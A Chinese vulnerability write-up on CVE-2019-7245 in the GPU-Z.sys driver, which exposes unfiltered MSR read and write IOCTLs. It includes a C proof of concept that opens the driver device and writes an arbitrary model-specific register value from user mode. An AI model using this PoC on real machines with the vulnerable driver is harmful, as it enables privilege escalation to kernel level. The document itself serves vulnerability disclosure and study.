漏洞描述:

在2.23.0之前的GPU-Z中的GPU-Z.sys中发现了一个问题。易受攻击的驱动程序通过IOCTL公开了wrmsr指令,并且未正确过滤模型特定寄存器(MSR)。允许任意MSR写操作可能会导致执行Ring-0代码并提升特权。

漏洞形成:

在GPU-Z驱动中发现IOCTL 0x80006430+24与0x80006430+28中存在直接的读与写MSR的功能,并且没有任何有效的过滤操作。使得通过DeviceIoControl 请求指定IOCTL后能够在R3直接操控MSR对系统和CPU的重要配置信息进行读取修改替换。

漏洞复现:

POC:

#define DEV_NAME _T("\\\\.\\GPU-Z")//参数为 4字节 MSR编号 ,输出8字节数据#define IOCTL_RDMSR 0x80006430+24//参数为 4字节 MSR编号 和 8字节数据#define IOCTL_WRMSR 0x80006430+28#pragma pack(push)#pragma pack(1)typedef struct _WRMSR_INFO {UINT32 MsrID;UINT64 MsrData;}WRMSR_INFO, *PWRMSR_INFO;#pragma pack(pop)int main(){WRMSR_INFO MsrInfo;HANDLE hFile;hFile = CreateFile(DEV_NAME, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_DEVICE, NULL);if (hFile == INVALID_HANDLE_VALUE){printf("打开设备失败%x\n", GetLastError());return 0;}DWORD dwRetSize = 0;printf("输入欲修改的MSR ID(hex):");scanf_s("%x", &MsrInfo.MsrID);printf("输入数据(hex):");scanf_s("%I64x", &MsrInfo.MsrData);DeviceIoControl(hFile, IOCTL_WRMSR, &MsrInfo, sizeof(MsrInfo), NULL, 0, &dwRetSize, NULL);if (dwRetSize)printf("[-]修改失败!错误:%d\n", GetLastError());elseprintf("[+]修改成功~\n");CloseHandle(hFile);return 0;}

GPU-Z MSR寄存器任意读写(cve-2019-7245)相关推荐

  1. scanf返回值_IO FILE之任意读写和scanf的限制绕过

    本文将简单介绍一下scanf的长度绕过和由fwrite.fread实现的任意读写,然后用两个ctf例题(2018年的两道国赛题 echo_back 和 magic)来加深理解.本文中write_s,w ...

  2. x86 CPU的MSR寄存器

    MSR(Model Specific Register)是x86架构中的概念,指的是在x86架构处理器中,一系列用于控制CPU运行.功能开关.调试.跟踪程序执行.监测CPU性能等方面的寄存器. MSR ...

  3. gpu z linux版本,gpu-z linux

    Popular Alternatives to GPU-Z for Linux. Explore 7 Linux apps like GPU-Z, all suggested and ranked b ...

  4. 寄存器内存读写指令(二) —— 多寄存器读写 LDM / STM

    有的时候,CPU可能会遇到 a++; b++; c++,这个时候为了提升效率,CPU可能会一次将多个寄存器里的变量保存到内存中.这个时候之前介绍的 LDR / STR 指令虽然也能实现,但只能操作一个 ...

  5. 16位I2C寄存器地址读写接口

    16位I2C寄存器地址读写接口 I2C读写接口 static int max96722_read_reg(struct i2c_client *client, unsigned char reg_ad ...

  6. AMD的双向田忌赛马:7nm中端CPU挑落顶级i9,旗舰GPU只对位NV三当家 | CES 2019

    AMD yes! 这应该是自Ryzen发布并一战翻身后玩家呼喊最多的口号了. 雷锋网消息,在今天凌晨CES 2019的AMD主题演讲中,AMD CEO苏姿丰女士展示了代号为Matisse的首款7nm桌 ...

  7. 快充芯片IP5328P的寄存器数据读写[用于DIY数显快充充电宝]

    [本帖DIY因为有一定的危险性,非专业人员请勿自行尝试] [如有侵权   联系删除] IP5328P是一款最大18W的快充芯片,主要用于快充充电宝的产品,基本支持市面上绝大部分主流的快充协议. 因为能 ...

  8. axi ps读写pl_Xilinx SDK 初学之——PS对PL寄存器的读写控制

    对于FPGA编程时的v文件中的寄存器,在SDK编程时需要一些读写操作,以实现PS与PL部分的信息交换.下面用一具体例子记录所需要的步骤 .如若有误请指正. 首先需要将v文件代码封装为带有AXI总线的I ...

  9. 8.裸板--C语言下的寄存器的读写置位清零操作

    从CPU的角度来看,外设的寄存器跟通用寄存器操作一样,对它们的地址进行读写移位等操作即可进行配置读取写入等动作. 通用寄存器有15个 寄存器名字 Reg# APCS 意义 R0 a1 工作寄存器 R1 ...

最新文章

  1. 中国电子学会图形化四级编程题:绳子算法
  2. Java源码详解四:String源码分析--openjdk java 11源码
  3. 利用watch在小程序中实现全局状态共享
  4. spring boot jpa级联保存
  5. Dataset之Boston:Boston波士顿房价数据集的简介、下载、使用方法之详细攻略
  6. 6月共处理钓鱼网站8186个:非CN域名达8029个
  7. 在vue中操作DOM--this.$nextTick()
  8. php病毒图片后缀名,脚本图片类后门病毒的完美使用方法
  9. cacti更改web登录密码
  10. 基于ASP.NET MVC框架开发Web论坛应用程序
  11. 《恋上数据结构第1季》动态数组实现栈
  12. 华为惨遭围剿;京东人工智能养猪;三星承认中国市场失败 | 极客头条
  13. Silverlight AutoCompleteBox(自动完成输入框控件)使用方法
  14. Tesseract试用过程及结果分析
  15. IDES SAP SEM 4.0/SAP BW 3.50 笔记本安装手册
  16. docker 启动相关 命令
  17. Android Studio躲避小球小游戏(一界面布局)
  18. 天刀服务器维护时间表,3月2日服务器例行维护公告
  19. 前端面试基础题:请写出至少20个HTML5标签
  20. [PTA]7-24 约分最简分式

热门文章

  1. W3school:CSS基础:CSS边框、CSS边距、CSS高度/宽度、CSS框模型、CSS轮廓
  2. linux安装火狐浏览器
  3. 重置 Centos 的 root密码
  4. 亮度 对比度 饱和度 灰度
  5. c语言二进制转换八进制
  6. AE怎么制作3D小火箭?2分钟教你制作动画
  7. edge浏览器如何进行分组
  8. 如何完成视频合并操作?这几个方法值得一试
  9. 云服务器win10系统拦截留言,云服务器win10系统
  10. 暗恋的女孩子撤回了啥?3步查看微信撤回消息